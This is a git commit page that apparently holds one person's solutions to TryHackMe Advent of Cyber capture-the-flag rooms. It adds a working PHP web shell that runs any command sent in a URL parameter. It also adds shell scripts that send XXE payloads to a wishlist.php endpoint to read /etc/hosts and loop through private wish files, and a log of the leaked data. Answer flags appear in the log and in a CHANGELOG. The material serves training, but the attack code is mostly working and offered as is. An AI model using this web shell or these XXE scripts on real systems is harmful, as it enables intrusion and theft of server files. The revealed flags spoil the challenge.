batman
This commit is contained in:
commit
8ffc4db7a8
BIN
1/somg.mp3
Normal file
BIN
1/somg.mp3
Normal file
Binary file not shown.
BIN
1/song.mp3
Executable file
BIN
1/song.mp3
Executable file
Binary file not shown.
22
3/shell.php
Normal file
22
3/shell.php
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
<html>
|
||||||
|
<style>
|
||||||
|
body {
|
||||||
|
color: lime;
|
||||||
|
background-color: #333;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<body>
|
||||||
|
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
|
||||||
|
<input type="text" name="command" autofocus id="command" size="50">
|
||||||
|
<input type="submit" value="Execute">
|
||||||
|
</form>
|
||||||
|
<pre>
|
||||||
|
<?php
|
||||||
|
if(isset($_GET['command']))
|
||||||
|
{
|
||||||
|
system($_GET['command'] . ' 2>&1');
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
</pre>
|
||||||
|
</body>
|
||||||
|
</html>
|
23
5/CHANGELOG
Normal file
23
5/CHANGELOG
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
commit 3f786850e387550fdab836ed7e6dc881de23001b (HEAD -> master, origin/master, origin/HEAD)
|
||||||
|
Author: Mayor Malware - Wareville <mayor@wareville.org>
|
||||||
|
Date: Wed Dec 4 21:24:22 2024 +0200
|
||||||
|
|
||||||
|
Fixed the wishlist.php page THM{m4y0r_m4lw4r3_b4ckd00rs}
|
||||||
|
|
||||||
|
commit 89e6c98d92887913cadf06b2adb97f26cde4849b (tag: v1.0.0)
|
||||||
|
Author: Software - Wareville <software@wareville.org>
|
||||||
|
Date: Thu Dec 4 14:45:18 2024 +0200
|
||||||
|
|
||||||
|
Almost done with the wishlists page, needs to handle XML parsing
|
||||||
|
|
||||||
|
commit 2b66fd261ee5c6cfc8de7fa466bab600bcfe4f69
|
||||||
|
Author: Software - Wareville <software@wareville.org>
|
||||||
|
Date: Tue Dec 2 15:20:57 2024 +0200
|
||||||
|
|
||||||
|
Finally done with the landing page and initial CSS
|
||||||
|
|
||||||
|
commit e983f374794de9c64e3d1c1de1d490c0756eeeff
|
||||||
|
Author: Software - Wareville <software@wareville.org>
|
||||||
|
Date: Tue Dec 2 15:19:33 2024 +0200
|
||||||
|
|
||||||
|
Initial commit
|
12
5/wish.sh
Executable file
12
5/wish.sh
Executable file
@ -0,0 +1,12 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
target=`cat trgt`
|
||||||
|
curl -iH 'Content-Type: application/xml' "http://$target/wishlist.php" \
|
||||||
|
-d "<!--?xml version='1.0' ?-->
|
||||||
|
<!DOCTYPE foo [<!ENTITY payload SYSTEM '/var/www/html/wishes/wish_1.txt'> ]>
|
||||||
|
<wishlist>
|
||||||
|
<user_id>1</user_id>
|
||||||
|
<item>
|
||||||
|
<product_id>&payload;</product_id>
|
||||||
|
</item>
|
||||||
|
</wishlist>"
|
||||||
|
|
176
5/wishes.log
Normal file
176
5/wishes.log
Normal file
@ -0,0 +1,176 @@
|
|||||||
|
Trying wish_1.txt...
|
||||||
|
The product ID: Wish #1
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_2.txt...
|
||||||
|
The product ID: Wish #2
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_3.txt...
|
||||||
|
The product ID: Wish #3
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_4.txt...
|
||||||
|
The product ID: Wish #4
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_5.txt...
|
||||||
|
The product ID: Wish #5
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_6.txt...
|
||||||
|
The product ID: Wish #6
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_7.txt...
|
||||||
|
The product ID: Wish #7
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_8.txt...
|
||||||
|
The product ID: Wish #8
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_9.txt...
|
||||||
|
The product ID: Wish #9
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_10.txt...
|
||||||
|
The product ID: Wish #10
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_11.txt...
|
||||||
|
The product ID: Wish #11
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_12.txt...
|
||||||
|
The product ID: Wish #12
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_13.txt...
|
||||||
|
The product ID: Wish #13
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_14.txt...
|
||||||
|
The product ID: Wish #14
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_15.txt...
|
||||||
|
The product ID: Wish #15
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
PS: The flag is THM{Brut3f0rc1n6_mY_w4y}
|
||||||
|
is invalid.
|
||||||
|
Trying wish_16.txt...
|
||||||
|
The product ID: Wish #16
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_17.txt...
|
||||||
|
The product ID: Wish #17
|
||||||
|
Name: Mayor Malware
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Waredy Cane
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_18.txt...
|
||||||
|
The product ID: Wish #18
|
||||||
|
Name: Test
|
||||||
|
Address: Test
|
||||||
|
---------------------------------------
|
||||||
|
Product: Wareville's Jolly Cap
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_19.txt...
|
||||||
|
The product ID: Wish #19
|
||||||
|
Name: Test
|
||||||
|
Address: TEst
|
||||||
|
---------------------------------------
|
||||||
|
Product: Teddy of the Ville
|
||||||
|
Quantity: 1
|
||||||
|
---------------------------------------
|
||||||
|
is invalid.
|
||||||
|
Trying wish_20.txt...
|
||||||
|
The product ID: is invalid.
|
||||||
|
Trying wish_21.txt...
|
||||||
|
Failed to parse XML
|
23
5/wishes.sh
Executable file
23
5/wishes.sh
Executable file
@ -0,0 +1,23 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
target=`cat trgt`
|
||||||
|
opts="-sH 'Content-Type: application/xml'"
|
||||||
|
declare -i i=1
|
||||||
|
#i=20
|
||||||
|
while [ $i -gt 0 ]; do
|
||||||
|
echo "Trying wish_$i.txt..."
|
||||||
|
p="<!--?xml version='1.0' ?-->
|
||||||
|
<!DOCTYPE foo [<!ENTITY payload SYSTEM '/var/www/html/wishes/wish_$i.txt'> ]>
|
||||||
|
<wishlist>
|
||||||
|
<user_id>1</user_id>
|
||||||
|
<item>
|
||||||
|
<product_id>&payload;</product_id>
|
||||||
|
</item>
|
||||||
|
</wishlist>"
|
||||||
|
out=`curl $opts http://$target/wishlist.php -d "$p"`
|
||||||
|
echo "$out"
|
||||||
|
echo "$out" | grep -q 'Failed to parse XML'
|
||||||
|
[ $? -eq 0 ] && break;
|
||||||
|
sleep 1
|
||||||
|
i+=1
|
||||||
|
done
|
||||||
|
|
12
5/wishlist.sh
Executable file
12
5/wishlist.sh
Executable file
@ -0,0 +1,12 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
target=`cat trgt`
|
||||||
|
curl -iH 'Content-Type: application/xml' "http://$target/wishlist.php" \
|
||||||
|
-d '<!--?xml version="1.0" ?-->
|
||||||
|
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
|
||||||
|
<wishlist>
|
||||||
|
<user_id>1</user_id>
|
||||||
|
<item>
|
||||||
|
<product_id>&payload;</product_id>
|
||||||
|
</item>
|
||||||
|
</wishlist>'
|
||||||
|
|
Loading…
x
Reference in New Issue
Block a user